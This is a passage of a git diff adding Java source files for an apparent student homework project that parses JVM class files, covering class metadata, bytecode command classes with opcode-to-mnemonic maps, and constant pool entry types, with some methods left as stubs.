+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/clz/ClassIndex.java b/group24/Homework/7-SevenWeek/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/BiPushCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/ByteCodeCommand.java b/group24/Homework/7-SevenWeek/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a3abeacc82
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/CommandParser.java b/group24/Homework/7-SevenWeek/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..2bb36340f5
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/CommandParser.java
@@ -0,0 +1,85 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/GetFieldCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/GetStaticFieldCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/LdcCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/NewObjectCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/NoOperandCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/OneOperandCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/PutFieldCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..85bb369c19
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/cmd/TwoOperandCmd.java b/group24/Homework/7-SevenWeek/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..6c0cf53082
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/ClassInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..c8e65ff493
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/ConstantInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..88353df2d3
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/ConstantPool.java b/group24/Homework/7-SevenWeek/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..7130eb3a9f
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/FieldRefInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..7ae71396ef
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/MethodRefInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..036e6d9055
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
+	
+	
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/NameAndTypeInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..5cbbba6033
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/NullConstantInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..41e0fd7e7a
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/StringInfo.java b/group24/Homework/7-SevenWeek/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..6bfcb47273
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+	
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/constant/UTF8Info.java b/group24/Homework/7-SevenWeek/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..7db88a939e
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
+	
+	
+
+}
diff --git a/group24/Homework/7-SevenWeek/jvm/field/Field.java b/group24/Homework/7-SevenWeek/jvm/field/Field.java
new file mode 100644
index 0000000000..c6eb0196f8
--- /dev/null
+++ b/group24/Homework/7-SevenWeek/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
